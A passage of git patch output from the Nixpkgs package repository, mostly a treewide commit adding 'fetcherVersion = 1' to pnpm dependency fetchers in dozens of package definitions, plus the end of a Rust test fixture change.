+bar = "1.0.0"
diff --git a/pkgs/build-support/rust/test/import-cargo-lock/git-dependency-workspace-inheritance/workspace.toml b/pkgs/build-support/rust/test/import-cargo-lock/git-dependency-workspace-inheritance/workspace.toml
index c58112a782d0..ff67ed9b51b0 100644
--- a/pkgs/build-support/rust/test/import-cargo-lock/git-dependency-workspace-inheritance/workspace.toml
+++ b/pkgs/build-support/rust/test/import-cargo-lock/git-dependency-workspace-inheritance/workspace.toml
@@ -3,3 +3,6 @@ version = "1.0.0"
 
 [workspace.dependencies]
 foo = { version = "1.0.0", features = ["meow"] }
+
+[workspace.lints]
+dbg_macro = "warn"

From 86c07329db8fe8eb76ffe34538c912c052182512 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Gutyina=20Gerg=C5=91?= <gutyina.gergo.2@gmail.com>
Date: Mon, 14 Jul 2025 11:51:34 +0200
Subject: [PATCH 2809/4511] treewide: set `pnpm.fetchDeps` `fetcherVersion` to
 1

(cherry picked from commit 09a31a6397a080b637a984a2baa81cc83d41f140)
---
 pkgs/applications/audio/youtube-music/default.nix               | 1 +
 pkgs/by-name/ao/aonsoku/package.nix                             | 1 +
 pkgs/by-name/ap/apache-answer/package.nix                       | 1 +
 pkgs/by-name/ar/artalk/package.nix                              | 1 +
 pkgs/by-name/as/astro-language-server/package.nix               | 1 +
 pkgs/by-name/au/autobrr/package.nix                             | 1 +
 pkgs/by-name/au/autoprefixer/package.nix                        | 1 +
 pkgs/by-name/ba/backrest/package.nix                            | 1 +
 pkgs/by-name/bu/bumpp/package.nix                               | 1 +
 pkgs/by-name/ca/cargo-tauri/test-app.nix                        | 1 +
 pkgs/by-name/cd/cdxgen/package.nix                              | 1 +
 pkgs/by-name/cl/clash-verge-rev/webui.nix                       | 1 +
 pkgs/by-name/co/codex/package.nix                               | 1 +
 pkgs/by-name/co/concurrently/package.nix                        | 1 +
 pkgs/by-name/da/daed/package.nix                                | 1 +
 pkgs/by-name/de/deltachat-desktop/package.nix                   | 1 +
 pkgs/by-name/em/emmet-language-server/package.nix               | 1 +
 pkgs/by-name/en/en-croissant/package.nix                        | 1 +
 pkgs/by-name/eq/equibop/package.nix                             | 1 +
 pkgs/by-name/eq/equicord/package.nix                            | 1 +
 pkgs/by-name/et/etherpad-lite/package.nix                       | 1 +
 pkgs/by-name/fe/fedistar/package.nix                            | 1 +
 pkgs/by-name/fi/filebrowser/package.nix                         | 1 +
 pkgs/by-name/fi/firezone-gui-client/package.nix                 | 1 +
 pkgs/by-name/fi/firezone-server/package.nix                     | 1 +
 pkgs/by-name/fl/flood/package.nix                               | 1 +
 pkgs/by-name/fo/follow/package.nix                              | 1 +
 pkgs/by-name/fr/froide/package.nix                              | 1 +
 pkgs/by-name/gi/gitbutler/package.nix                           | 1 +
 pkgs/by-name/gi/gitify/package.nix                              | 1 +
 pkgs/by-name/go/goofcord/package.nix                            | 1 +
 pkgs/by-name/gu/gui-for-clash/package.nix                       | 1 +
 pkgs/by-name/gu/gui-for-singbox/package.nix                     | 1 +
 pkgs/by-name/he/heroic-unwrapped/package.nix                    | 1 +
 pkgs/by-name/ho/homebox/package.nix                             | 1 +
 pkgs/by-name/ho/homepage-dashboard/package.nix                  | 1 +
 pkgs/by-name/ho/homer/package.nix                               | 1 +
 pkgs/by-name/it/it-tools/package.nix                            | 1 +
 pkgs/by-name/je/jellyseerr/package.nix                          | 1 +
 pkgs/by-name/ka/karakeep/package.nix                            | 1 +
 pkgs/by-name/le/legcord/package.nix                             | 1 +
 pkgs/by-name/me/memos/package.nix                               | 1 +
 pkgs/by-name/me/metacubexd/package.nix                          | 1 +
 pkgs/by-name/mi/misskey/package.nix                             | 1 +
 pkgs/by-name/mo/modrinth-app-unwrapped/package.nix              | 1 +
 pkgs/by-name/mo/moonfire-nvr/package.nix                        | 1 +
 pkgs/by-name/mo/moonlight/package.nix                           | 1 +
 pkgs/by-name/n8/n8n/package.nix                                 | 1 +
 pkgs/by-name/ni/ni/package.nix                                  | 1 +
 pkgs/by-name/oc/ocis/package.nix                                | 1 +
 pkgs/by-name/oc/ocis/web.nix                                    | 1 +
 pkgs/by-name/ov/overlayed/webui.nix                             | 1 +
 pkgs/by-name/pa/paperless-ngx/package.nix                       | 1 +
 pkgs/by-name/pa/parca/package.nix                               | 1 +
 pkgs/by-name/pd/pds/package.nix                                 | 1 +
 pkgs/by-name/pg/pgrok/package.nix                               | 1 +
 pkgs/by-name/pi/piped/package.nix                               | 1 +
 pkgs/by-name/po/podman-desktop/package.nix                      | 1 +
 pkgs/by-name/po/porn-vault/package.nix                          | 1 +
 pkgs/by-name/po/pot/package.nix                                 | 1 +
 pkgs/by-name/pr/prisma/package.nix                              | 1 +
 pkgs/by-name/qu/quantframe/package.nix                          | 1 +
 pkgs/by-name/re/readest/package.nix                             | 1 +
 pkgs/by-name/re/renovate/package.nix                            | 1 +
 pkgs/by-name/rm/rmfakecloud/package.nix                         | 1 +
 pkgs/by-name/rq/rquickshare/package.nix                         | 1 +
 pkgs/by-name/rs/rsshub/package.nix                              | 1 +
 pkgs/by-name/sa/satisfactorymodmanager/package.nix              | 1 +
 pkgs/by-name/sh/shadcn/package.nix                              | 1 +
 pkgs/by-name/si/signal-desktop/package.nix                      | 2 ++
 pkgs/by-name/si/signal-desktop/signal-sqlcipher.nix             | 1 +
 pkgs/by-name/si/siyuan/package.nix                              | 1 +
 pkgs/by-name/sk/sketchybar-app-font/package.nix                 | 1 +
 pkgs/by-name/sl/slimevr/package.nix                             | 1 +
 pkgs/by-name/st/stylelint-lsp/package.nix                       | 1 +
 pkgs/by-name/su/surrealist/package.nix                          | 1 +
 pkgs/by-name/sy/synchrony/package.nix                           | 1 +
 pkgs/by-name/sy/syncyomi/package.nix                            | 1 +
 pkgs/by-name/ta/tabby-agent/package.nix                         | 1 +
 pkgs/by-name/ta/tailwindcss-language-server/package.nix         | 1 +
 pkgs/by-name/ta/taler-wallet-core/package.nix                   | 1 +
 pkgs/by-name/ta/taze/package.nix                                | 1 +
 pkgs/by-name/te/teleport/package.nix                            | 1 +
 pkgs/by-name/ty/typespec/package.nix                            | 1 +
 pkgs/by-name/ve/vencord/package.nix                             | 1 +
 pkgs/by-name/ve/vesktop/package.nix                             | 1 +
 pkgs/by-name/vi/vikunja/package.nix                             | 1 +
 pkgs/by-name/vo/voicevox/package.nix                            | 1 +
 pkgs/by-name/vt/vtsls/package.nix                               | 1 +
 pkgs/by-name/we/wealthfolio/package.nix                         | 1 +
 pkgs/by-name/wo/wox/package.nix                                 | 1 +
 pkgs/by-name/wr/wrangler/package.nix                            | 1 +
 pkgs/by-name/za/zammad/package.nix                              | 1 +
 pkgs/by-name/za/zashboard/package.nix                           | 1 +
 pkgs/by-name/ze/zenn-cli/package.nix                            | 1 +
 pkgs/by-name/zi/zigbee2mqtt_2/package.nix                       | 1 +
 pkgs/by-name/zi/zipline/package.nix                             | 1 +
 .../development/python-modules/django-filingcabinet/default.nix | 1 +
 pkgs/development/python-modules/gradio/default.nix              | 1 +
 pkgs/servers/authelia/web.nix                                   | 1 +
 pkgs/servers/web-apps/discourse/default.nix                     | 1 +
 pkgs/servers/web-apps/lemmy/ui.nix                              | 1 +
 102 files changed, 103 insertions(+)

diff --git a/pkgs/applications/audio/youtube-music/default.nix b/pkgs/applications/audio/youtube-music/default.nix
index 871c0ca56807..c89793a26ee0 100644
--- a/pkgs/applications/audio/youtube-music/default.nix
+++ b/pkgs/applications/audio/youtube-music/default.nix
@@ -25,6 +25,7 @@ stdenv.mkDerivation (finalAttrs: {
   pnpmDeps = pnpm.fetchDeps {
     inherit (finalAttrs) pname version src;
     hash = "sha256-xIQyTetHU37gTxCcQp4VCqzGdIfVQGy/aORCVba6YQ0=";
+    fetcherVersion = 1;
   };
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/ao/aonsoku/package.nix b/pkgs/by-name/ao/aonsoku/package.nix
index 03fa9cc13a3d..b58573ad4aee 100644
--- a/pkgs/by-name/ao/aonsoku/package.nix
+++ b/pkgs/by-name/ao/aonsoku/package.nix
@@ -28,6 +28,7 @@ rustPlatform.buildRustPackage (finalAttrs: {
   pnpmDeps = pnpm_8.fetchDeps {
     inherit (finalAttrs) pname version src;
     hash = "sha256-h1rcM+H2c0lk7bpGeQT5ue9bQIggrCFHkj4o7KxnH08=";
+    fetcherVersion = 1;
   };
 
   cargoRoot = "src-tauri";
diff --git a/pkgs/by-name/ap/apache-answer/package.nix b/pkgs/by-name/ap/apache-answer/package.nix
index efa453863614..5e657cf8f680 100644
--- a/pkgs/by-name/ap/apache-answer/package.nix
+++ b/pkgs/by-name/ap/apache-answer/package.nix
@@ -29,6 +29,7 @@ buildGoModule rec {
       inherit src version pname;
       sourceRoot = "${src.name}/ui";
       hash = "sha256-/se6IWeHdazqS7PzOpgtT4IxCJ1WptqBzZ/BdmGb4BA=";
+      fetcherVersion = 1;
     };
 
     nativeBuildInputs = [
diff --git a/pkgs/by-name/ar/artalk/package.nix b/pkgs/by-name/ar/artalk/package.nix
index 4c1507a9f793..d0d94f2afa1c 100644
--- a/pkgs/by-name/ar/artalk/package.nix
+++ b/pkgs/by-name/ar/artalk/package.nix
@@ -34,6 +34,7 @@ let
     pnpmDeps = pnpm_9.fetchDeps {
       inherit (finalAttrs) pname version src;
       hash = "sha256-QIfadS2gNPtH006O86EndY/Hx2ml2FoKfUXJF5qoluw=";
+      fetcherVersion = 1;
     };
 
     buildPhase = ''
diff --git a/pkgs/by-name/as/astro-language-server/package.nix b/pkgs/by-name/as/astro-language-server/package.nix
index 0d30d9ccdb64..8914f2e36dac 100644
--- a/pkgs/by-name/as/astro-language-server/package.nix
+++ b/pkgs/by-name/as/astro-language-server/package.nix
@@ -26,6 +26,7 @@ stdenv.mkDerivation (finalAttrs: {
       prePnpmInstall
       ;
     hash = "sha256-tlpk+wbLjJqt37lu67p2A2RZAR1ZfnZFiYoqIQwvWPQ=";
+    fetcherVersion = 1;
   };
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/au/autobrr/package.nix b/pkgs/by-name/au/autobrr/package.nix
index dd8665d419f6..bca303bf20e9 100644
--- a/pkgs/by-name/au/autobrr/package.nix
+++ b/pkgs/by-name/au/autobrr/package.nix
@@ -41,6 +41,7 @@ let
         sourceRoot
         ;
       hash = "sha256-XFGxutHWk1RHnrN//WVTr4RyARIkygdG2C1Af5W0dBc=";
+      fetcherVersion = 1;
     };
 
     postBuild = ''
diff --git a/pkgs/by-name/au/autoprefixer/package.nix b/pkgs/by-name/au/autoprefixer/package.nix
index 3713dd359c3d..31662f322b7e 100644
--- a/pkgs/by-name/au/autoprefixer/package.nix
+++ b/pkgs/by-name/au/autoprefixer/package.nix
@@ -26,6 +26,7 @@ stdenv.mkDerivation (finalAttrs: {
   pnpmDeps = pnpm_9.fetchDeps {
     inherit (finalAttrs) pname version src;
     hash = "sha256-zb/BwL//i0oly5HEXN20E3RzZXdaOn+G2yIWRas3PB4=";
+    fetcherVersion = 1;
   };
 
   installPhase = ''
diff --git a/pkgs/by-name/ba/backrest/package.nix b/pkgs/by-name/ba/backrest/package.nix
index fa42dab819ea..e61de5d182c3 100644
--- a/pkgs/by-name/ba/backrest/package.nix
+++ b/pkgs/by-name/ba/backrest/package.nix
@@ -34,6 +34,7 @@ let
     pnpmDeps = pnpm_9.fetchDeps {
       inherit (finalAttrs) pname version src;
       hash = "sha256-q7VMQb/FRT953yT2cyGMxUPp8p8XkA9mvqGI7S7Eifg=";
+      fetcherVersion = 1;
     };
 
     buildPhase = ''
diff --git a/pkgs/by-name/bu/bumpp/package.nix b/pkgs/by-name/bu/bumpp/package.nix
index b557e8f14eb8..3b05d5a65df2 100644
--- a/pkgs/by-name/bu/bumpp/package.nix
+++ b/pkgs/by-name/bu/bumpp/package.nix
@@ -25,6 +25,7 @@ stdenv.mkDerivation (finalAttrs: {
   pnpmDeps = pnpm.fetchDeps {
     inherit (finalAttrs) pname version src;
     hash = "sha256-duxpym1DlJM4q5j0wmrubYiAHQ3cDEFfeD9Gyic6mbI=";
+    fetcherVersion = 1;
   };
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/ca/cargo-tauri/test-app.nix b/pkgs/by-name/ca/cargo-tauri/test-app.nix
index 2f5401e4e4cf..af0c230af635 100644
--- a/pkgs/by-name/ca/cargo-tauri/test-app.nix
+++ b/pkgs/by-name/ca/cargo-tauri/test-app.nix
@@ -35,6 +35,7 @@ stdenv.mkDerivation (finalAttrs: {
       ;
 
     hash = "sha256-plANa/+9YEQ4ipgdQ7QzPyxgz6eDCBhO7qFlxK6Ab58=";
+    fetcherVersion = 1;
   };
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/cd/cdxgen/package.nix b/pkgs/by-name/cd/cdxgen/package.nix
index bcca4ac226ed..3fa6ec4c0a45 100644
--- a/pkgs/by-name/cd/cdxgen/package.nix
+++ b/pkgs/by-name/cd/cdxgen/package.nix
@@ -38,6 +38,7 @@ stdenv.mkDerivation (finalAttrs: {
   pnpmDeps = pnpm_9.fetchDeps {
     inherit (finalAttrs) pname version src;
     hash = "sha256-7NrDYd4H0cPQs8w4lWlB0BhqcYZVo6/9zf0ujPjBzsE=";
+    fetcherVersion = 1;
   };
 
   buildPhase = ''
diff --git a/pkgs/by-name/cl/clash-verge-rev/webui.nix b/pkgs/by-name/cl/clash-verge-rev/webui.nix
index d8cdc4f80b1b..4c38138eed8d 100644
--- a/pkgs/by-name/cl/clash-verge-rev/webui.nix
+++ b/pkgs/by-name/cl/clash-verge-rev/webui.nix
@@ -14,6 +14,7 @@ stdenv.mkDerivation {
   pnpmDeps = pnpm_9.fetchDeps {
     inherit pname version src;
     hash = npm-hash;
+    fetcherVersion = 1;
   };
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/co/codex/package.nix b/pkgs/by-name/co/codex/package.nix
index 59613e6e254e..dce6c1f1cec6 100644
--- a/pkgs/by-name/co/codex/package.nix
+++ b/pkgs/by-name/co/codex/package.nix
@@ -37,6 +37,7 @@ stdenv.mkDerivation (finalAttrs: {
       pnpmWorkspaces
       ;
     hash = "sha256-pPwHjtqqaG+Zqmq6x5o+WCT1H9XuXAqFNKMzevp7wTc=";
+    fetcherVersion = 1;
   };
 
   buildPhase = ''
diff --git a/pkgs/by-name/co/concurrently/package.nix b/pkgs/by-name/co/concurrently/package.nix
index f6b3a6166be0..b89146d333c9 100644
--- a/pkgs/by-name/co/concurrently/package.nix
+++ b/pkgs/by-name/co/concurrently/package.nix
@@ -30,6 +30,7 @@ stdenv.mkDerivation (finalAttrs: {
       patches
       ;
     hash = "sha256-F1teWIABkK0mqZcK3RdGNKmexI/C59QWSrrD1jYbHt0=";
+    fetcherVersion = 1;
   };
 
   patches = [
diff --git a/pkgs/by-name/da/daed/package.nix b/pkgs/by-name/da/daed/package.nix
index dc8c0331a5b0..0c73e845ad24 100644
--- a/pkgs/by-name/da/daed/package.nix
+++ b/pkgs/by-name/da/daed/package.nix
@@ -28,6 +28,7 @@ let
     pnpmDeps = pnpm_9.fetchDeps {
       inherit pname version src;
       hash = "sha256-+yLpSbDzr1OV/bmUUg6drOvK1ok3cBd+RRV7Qrrlp+Q=";
+      fetcherVersion = 1;
     };
 
     nativeBuildInputs = [
diff --git a/pkgs/by-name/de/deltachat-desktop/package.nix b/pkgs/by-name/de/deltachat-desktop/package.nix
index 443c6f672acf..0f5992cd0bcb 100644
--- a/pkgs/by-name/de/deltachat-desktop/package.nix
+++ b/pkgs/by-name/de/deltachat-desktop/package.nix
@@ -49,6 +49,7 @@ stdenv.mkDerivation (finalAttrs: {
   pnpmDeps = pnpm.fetchDeps {
     inherit (finalAttrs) pname version src;
     hash = "sha256-PBCmyNmlH88y5s7+8WHcei8SP3Q0lIAAnAQn9uaFxLc=";
+    fetcherVersion = 1;
   };
 
   nativeBuildInputs =
diff --git a/pkgs/by-name/em/emmet-language-server/package.nix b/pkgs/by-name/em/emmet-language-server/package.nix
index 61b80c57f34d..dc2a8a8cff46 100644
--- a/pkgs/by-name/em/emmet-language-server/package.nix
+++ b/pkgs/by-name/em/emmet-language-server/package.nix
@@ -21,6 +21,7 @@ stdenvNoCC.mkDerivation (finalAttrs: {
   pnpmDeps = pnpm_9.fetchDeps {
     inherit (finalAttrs) pname version src;
     hash = "sha256-hh5PEtmSHPs6QBgwWHS0laGU21e82JckIP3mB/P9/vE=";
+    fetcherVersion = 1;
   };
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/en/en-croissant/package.nix b/pkgs/by-name/en/en-croissant/package.nix
index 942c2f342a3c..86d89a85933e 100644
--- a/pkgs/by-name/en/en-croissant/package.nix
+++ b/pkgs/by-name/en/en-croissant/package.nix
@@ -31,6 +31,7 @@ rustPlatform.buildRustPackage rec {
   pnpmDeps = pnpm_9.fetchDeps {
     inherit pname version src;
     hash = "sha256-hvWXSegUWJvwCU5NLb2vqnl+FIWpCLxw96s9NUIgJTI=";
+    fetcherVersion = 1;
   };
 
   cargoRoot = "src-tauri";
diff --git a/pkgs/by-name/eq/equibop/package.nix b/pkgs/by-name/eq/equibop/package.nix
index 4bf15d43a41b..4da34c82565b 100644
--- a/pkgs/by-name/eq/equibop/package.nix
+++ b/pkgs/by-name/eq/equibop/package.nix
@@ -40,6 +40,7 @@ stdenv.mkDerivation (finalAttrs: {
       patches
       ;
     hash = "sha256-laTyxRh54x3iopGVgoFtcgaV7R6IKux1O/+tzGEy0Fg=";
+    fetcherVersion = 1;
   };
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/eq/equicord/package.nix b/pkgs/by-name/eq/equicord/package.nix
index e8f6b97529d7..7424417eff7a 100644
--- a/pkgs/by-name/eq/equicord/package.nix
+++ b/pkgs/by-name/eq/equicord/package.nix
@@ -26,6 +26,7 @@ stdenv.mkDerivation (finalAttrs: {
   pnpmDeps = pnpm_9.fetchDeps {
     inherit (finalAttrs) pname version src;
     hash = "sha256-fjfzBy1Z7AUKA53yjjCQ6yasHc5QMaOBtXtXA5fNK5s=";
+    fetcherVersion = 1;
   };
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/et/etherpad-lite/package.nix b/pkgs/by-name/et/etherpad-lite/package.nix
index 2cd12e19e317..0fc507ee8e48 100644
--- a/pkgs/by-name/et/etherpad-lite/package.nix
+++ b/pkgs/by-name/et/etherpad-lite/package.nix
@@ -32,6 +32,7 @@ stdenv.mkDerivation (finalAttrs: {
   pnpmDeps = pnpm.fetchDeps {
     inherit (finalAttrs) pname version src;
     hash = "sha256-nhiPopGLCeCHiqEQ3solwuLwkDnHTH3otbxIJmbuQAA=";
+    fetcherVersion = 1;
   };
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/fe/fedistar/package.nix b/pkgs/by-name/fe/fedistar/package.nix
index 40cb8ca8a726..dcc674ad3e81 100644
--- a/pkgs/by-name/fe/fedistar/package.nix
+++ b/pkgs/by-name/fe/fedistar/package.nix
@@ -31,6 +31,7 @@ let
     pnpmDeps = pnpm.fetchDeps {
       inherit pname version src;
       hash = "sha256-xXVsjAXmrsOp+mXrYAxSKz4vX5JApLZ+Rh6hrYlnJDI=";
+      fetcherVersion = 1;
     };
     nativeBuildInputs = [
       pnpm.configHook
diff --git a/pkgs/by-name/fi/filebrowser/package.nix b/pkgs/by-name/fi/filebrowser/package.nix
index 2a0b1020fa43..0e3d351a2a15 100644
--- a/pkgs/by-name/fi/filebrowser/package.nix
+++ b/pkgs/by-name/fi/filebrowser/package.nix
@@ -36,6 +36,7 @@ let
       inherit (finalAttrs) pname version src;
       sourceRoot = "${src.name}/frontend";
       hash = "sha256-vLOtVeGFeHXgQglvKsih4lj1uIs6wipwfo374viIq4I=";
+      fetcherVersion = 1;
     };
 
     installPhase = ''
diff --git a/pkgs/by-name/fi/firezone-gui-client/package.nix b/pkgs/by-name/fi/firezone-gui-client/package.nix
index 04212a7b5a06..53d1a9928459 100644
--- a/pkgs/by-name/fi/firezone-gui-client/package.nix
+++ b/pkgs/by-name/fi/firezone-gui-client/package.nix
@@ -40,6 +40,7 @@ let
       inherit pname version;
       src = "${src}/rust/gui-client";
       hash = "sha256-bVWpyGwEaxYi3N6BJqOilnHJDgAykKHgRC2QKlvSm4Q=";
+      fetcherVersion = 1;
     };
     pnpmRoot = "rust/gui-client";
 
diff --git a/pkgs/by-name/fi/firezone-server/package.nix b/pkgs/by-name/fi/firezone-server/package.nix
index 3e09361bf1bb..549c272590b8 100644
--- a/pkgs/by-name/fi/firezone-server/package.nix
+++ b/pkgs/by-name/fi/firezone-server/package.nix
@@ -35,6 +35,7 @@ beamPackages.mixRelease rec {
     inherit pname version;
     src = "${src}/apps/web/assets";
     hash = "sha256-ejyBppFtKeyVhAWmssglbpLleOnbw9d4B+iM5Vtx47A=";
+    fetcherVersion = 1;
   };
   pnpmRoot = "apps/web/assets";
 
diff --git a/pkgs/by-name/fl/flood/package.nix b/pkgs/by-name/fl/flood/package.nix
index 083d79d9861b..8d561a278e23 100644
--- a/pkgs/by-name/fl/flood/package.nix
+++ b/pkgs/by-name/fl/flood/package.nix
@@ -23,6 +23,7 @@ buildNpmPackage rec {
   pnpmDeps = pnpm_9.fetchDeps {
     inherit pname version src;
     hash = "sha256-E2VxRcOMLvvCQb9gCAGcBTsly571zh/HWM6Q1Zd2eVw=";
+    fetcherVersion = 1;
   };
 
   passthru = {
diff --git a/pkgs/by-name/fo/follow/package.nix b/pkgs/by-name/fo/follow/package.nix
index c942a2e62d71..2cbb1401ccb0 100644
--- a/pkgs/by-name/fo/follow/package.nix
+++ b/pkgs/by-name/fo/follow/package.nix
@@ -31,6 +31,7 @@ stdenv.mkDerivation rec {
   pnpmDeps = pnpm_9.fetchDeps {
     inherit pname version src;
     hash = "sha256-xNGLYzEz1G5sZSqmji+ItJ9D1vvZcwkkygnDeuypcIM=";
+    fetcherVersion = 1;
   };
 
   env = {
diff --git a/pkgs/by-name/fr/froide/package.nix b/pkgs/by-name/fr/froide/package.nix
index 674e7e3bc145..9b40924cbaa0 100644
--- a/pkgs/by-name/fr/froide/package.nix
+++ b/pkgs/by-name/fr/froide/package.nix
@@ -125,6 +125,7 @@ python.pkgs.buildPythonApplication rec {
   pnpmDeps = pnpm.fetchDeps {
     inherit pname version src;
     hash = "sha256-g7YX2fVXGmb3Qq9NNCb294bk4/0khcIZVSskYbE8Mdw=";
+    fetcherVersion = 1;
   };
 
   postBuild = ''
diff --git a/pkgs/by-name/gi/gitbutler/package.nix b/pkgs/by-name/gi/gitbutler/package.nix
index 83cd155efe1c..b6741c04df1e 100644
--- a/pkgs/by-name/gi/gitbutler/package.nix
+++ b/pkgs/by-name/gi/gitbutler/package.nix
@@ -65,6 +65,7 @@ rustPlatform.buildRustPackage rec {
   pnpmDeps = pnpm_9.fetchDeps {
     inherit pname version src;
     hash = "sha256-5NtfstUuIYyntt09Mu9GAFAOImfO6VMmJ7g15kvGaLE=";
+    fetcherVersion = 1;
   };
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/gi/gitify/package.nix b/pkgs/by-name/gi/gitify/package.nix
index eef5daa14baf..f767b0f4d7bc 100644
--- a/pkgs/by-name/gi/gitify/package.nix
+++ b/pkgs/by-name/gi/gitify/package.nix
@@ -34,6 +34,7 @@ stdenv.mkDerivation (finalAttrs: {
   pnpmDeps = pnpm_9.fetchDeps {
     inherit (finalAttrs) pname version src;
     hash = "sha256-mV0MgJRP5rN+RRTtKlYi29Yq8+8DMO5bMFXRmPcWx6o=";
+    fetcherVersion = 1;
   };
 
   env.ELECTRON_SKIP_BINARY_DOWNLOAD = 1;
diff --git a/pkgs/by-name/go/goofcord/package.nix b/pkgs/by-name/go/goofcord/package.nix
index 95e7d9824df8..168a77c346a7 100644
--- a/pkgs/by-name/go/goofcord/package.nix
+++ b/pkgs/by-name/go/goofcord/package.nix
@@ -43,6 +43,7 @@ stdenv.mkDerivation (finalAttrs: {
   pnpmDeps = pnpm'.fetchDeps {
     inherit (finalAttrs) pname version src;
     hash = "sha256-8dSyU9arSvISc2kDWbg/CP6L4sZjZi/Zv7TZN4ONOjQ=";
+    fetcherVersion = 1;
   };
 
   env = {
diff --git a/pkgs/by-name/gu/gui-for-clash/package.nix b/pkgs/by-name/gu/gui-for-clash/package.nix
index b2dcd36565c2..0831f4c4d86f 100644
--- a/pkgs/by-name/gu/gui-for-clash/package.nix
+++ b/pkgs/by-name/gu/gui-for-clash/package.nix
@@ -44,6 +44,7 @@ let
       inherit (finalAttrs) pname version src;
       sourceRoot = "${finalAttrs.src.name}/frontend";
       hash = "sha256-5tz1FItH9AvZhJjka8i5Kz22yf/tEmRPkDhz6iswZzc=";
+      fetcherVersion = 1;
     };
 
     sourceRoot = "${finalAttrs.src.name}/frontend";
diff --git a/pkgs/by-name/gu/gui-for-singbox/package.nix b/pkgs/by-name/gu/gui-for-singbox/package.nix
index a7480d64ee4e..fae5157c6005 100644
--- a/pkgs/by-name/gu/gui-for-singbox/package.nix
+++ b/pkgs/by-name/gu/gui-for-singbox/package.nix
@@ -46,6 +46,7 @@ let
       inherit (finalAttrs) pname version src;
       sourceRoot = "${finalAttrs.src.name}/frontend";
       hash = "sha256-5tz1FItH9AvZhJjka8i5Kz22yf/tEmRPkDhz6iswZzc=";
+      fetcherVersion = 1;
     };
 
     sourceRoot = "${finalAttrs.src.name}/frontend";
diff --git a/pkgs/by-name/he/heroic-unwrapped/package.nix b/pkgs/by-name/he/heroic-unwrapped/package.nix
index 1722a58ebafa..d5dca60dbe20 100644
--- a/pkgs/by-name/he/heroic-unwrapped/package.nix
+++ b/pkgs/by-name/he/heroic-unwrapped/package.nix
@@ -34,6 +34,7 @@ stdenv.mkDerivation (finalAttrs: {
   pnpmDeps = pnpm_10.fetchDeps {
     inherit (finalAttrs) pname version src;
     hash = "sha256-9WCIdQ91IU8pfq6kpbmmn6APBTNwpCi9ovgRuWYUad8=";
+    fetcherVersion = 1;
   };
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/ho/homebox/package.nix b/pkgs/by-name/ho/homebox/package.nix
index 951a2f8a29d6..d2e40a060116 100644
--- a/pkgs/by-name/ho/homebox/package.nix
+++ b/pkgs/by-name/ho/homebox/package.nix
@@ -39,6 +39,7 @@ buildGo123Module {
     inherit pname version;
     src = "${src}/frontend";
     hash = "sha256-6Q+tIY5dl5jCQyv1F8btLdJg0oEUGs0Wyu/joVdVhf8=";
+    fetcherVersion = 1;
   };
   pnpmRoot = "../frontend";
 
diff --git a/pkgs/by-name/ho/homepage-dashboard/package.nix b/pkgs/by-name/ho/homepage-dashboard/package.nix
index d746cd5bd228..554e14711bdc 100644
--- a/pkgs/by-name/ho/homepage-dashboard/package.nix
+++ b/pkgs/by-name/ho/homepage-dashboard/package.nix
@@ -51,6 +51,7 @@ stdenv.mkDerivation (finalAttrs: {
       patches
       ;
     hash = "sha256-1WsiSG+dZVpd28bBjf3EYn95sxMCXsQPd27/otWW0nI=";
+    fetcherVersion = 1;
   };
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/ho/homer/package.nix b/pkgs/by-name/ho/homer/package.nix
index 0579e37fbd94..c9db309b6e7e 100644
--- a/pkgs/by-name/ho/homer/package.nix
+++ b/pkgs/by-name/ho/homer/package.nix
@@ -26,6 +26,7 @@ stdenvNoCC.mkDerivation rec {
       patches
       ;
     hash = "sha256-y1R+rlaOtFOHHAgEHPBl40536U10Ft0iUSfGcfXS08Y=";
+    fetcherVersion = 1;
   };
 
   # Enables specifying a custom Sass compiler binary path via `SASS_EMBEDDED_BIN_PATH` environment variable.
diff --git a/pkgs/by-name/it/it-tools/package.nix b/pkgs/by-name/it/it-tools/package.nix
index 75bba8012aaa..7c8bb989875a 100644
--- a/pkgs/by-name/it/it-tools/package.nix
+++ b/pkgs/by-name/it/it-tools/package.nix
@@ -24,6 +24,7 @@ stdenv.mkDerivation rec {
   pnpmDeps = pnpm_8.fetchDeps {
     inherit pname version src;
     hash = "sha256-m1eXBE5rakcq8NGnPC9clAAvNJQrN5RuSQ94zfgGZxw=";
+    fetcherVersion = 1;
   };
 
   buildPhase = ''
diff --git a/pkgs/by-name/je/jellyseerr/package.nix b/pkgs/by-name/je/jellyseerr/package.nix
index 608d73029486..4034343d93ab 100644
--- a/pkgs/by-name/je/jellyseerr/package.nix
+++ b/pkgs/by-name/je/jellyseerr/package.nix
@@ -29,6 +29,7 @@ stdenv.mkDerivation (finalAttrs: {
   pnpmDeps = pnpm.fetchDeps {
     inherit (finalAttrs) pname version src;
     hash = "sha256-4odVuAhjc9lUxorWOqPd2ODgexk5PDSS2HtFyq0csU0=";
+    fetcherVersion = 1;
   };
 
   buildInputs = [ sqlite ];
diff --git a/pkgs/by-name/ka/karakeep/package.nix b/pkgs/by-name/ka/karakeep/package.nix
index f95843409dac..196c958702e4 100644
--- a/pkgs/by-name/ka/karakeep/package.nix
+++ b/pkgs/by-name/ka/karakeep/package.nix
@@ -52,6 +52,7 @@ stdenv.mkDerivation (finalAttrs: {
     };
 
     hash = "sha256-2n61uKdT9Q1fobpHunRhC3Eql3fqsV+DcyaEGjYDOyY=";
+    fetcherVersion = 1;
   };
   buildPhase = ''
     runHook preBuild
diff --git a/pkgs/by-name/le/legcord/package.nix b/pkgs/by-name/le/legcord/package.nix
index 70641f0a7add..b4a6dbf154c2 100644
--- a/pkgs/by-name/le/legcord/package.nix
+++ b/pkgs/by-name/le/legcord/package.nix
@@ -45,6 +45,7 @@ stdenv.mkDerivation (finalAttrs: {
   pnpmDeps = pnpm.fetchDeps {
     inherit (finalAttrs) pname version src;
     hash = "sha256-nobOORfhwlGEvNt+MfDKd3rXor6tJHDulz5oD1BGY4I=";
+    fetcherVersion = 1;
   };
 
   buildPhase = ''
